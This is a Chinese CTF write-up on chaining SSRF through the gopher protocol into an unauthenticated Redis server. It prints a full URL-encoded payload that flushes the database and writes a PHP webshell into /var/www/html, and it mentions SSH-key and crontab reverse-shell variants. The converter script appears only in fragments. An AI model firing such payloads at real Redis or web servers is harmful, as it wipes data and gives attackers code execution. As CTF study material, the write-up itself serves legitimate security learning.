Gopher
协议是HTTP协议出现之前,在Internet上最常用的一个协议,不过现在已经很少用了。
常利用 Gopher
协议,攻击内网的 redis等,也可以发送GET、POST请求,这无疑是极大的扩展了ssrf的攻击面。
利用条件
能够未授权或者通过弱口令认证访问到redis服务器。其实就是可以访问到redis服务器,端口为 6379
绝对路径写webshell
redis 常见的ssrf攻击方式大概有3中:
- 绝对路径写webshell
- 写ssh公钥
- 写contrab计划任务反弹shell 但是,我这里就只记录 绝对路径写webshell了其它的可去 【这里看】 。
构造payload
需要构造redis命令如下:
1 | flushall |
这边有一个网上的python3脚本,转化为redis RESP协议的格式
1 | import urllib |
生成的payload,我们需要让它执行一遍,就是访问它一下,可以 curl 。访问后我们的shell就会被写入redis服务器内。
[GKCTF2020]EZ三剑客-EzWeb
一、打开题目,我们可以提交个url,我尝试提交 127.0.0.1 ,回显 别这样 应该是被 ban 了。
二、查看源码提示 ?secret
那就传一个过去,回显了一个 ifconfig 命令得到的结果。我们着重看到inet addr:173.171.12.9
我们利用ssrf去访问下 173.171.12.9 ,得到了如下:
四、需要我们爆破端口,这边我们就跑到了6379端口,它是redis服务的端口。这就利用到了,我们主题所说的组合拳。
解题步骤
- 利用前面提的python脚本构造写shell的payload如下:
1
gopher://173.171.12.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Amayi.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
- 我们直接发过去,达到写shell的目的,注意此时shell的内容是:shell名也在脚本中定义。
1
<?php system('cat /flag');?>
- 我们参试访问shell,得到flag:
1
paylaod: 173.171.12.10/mayi.php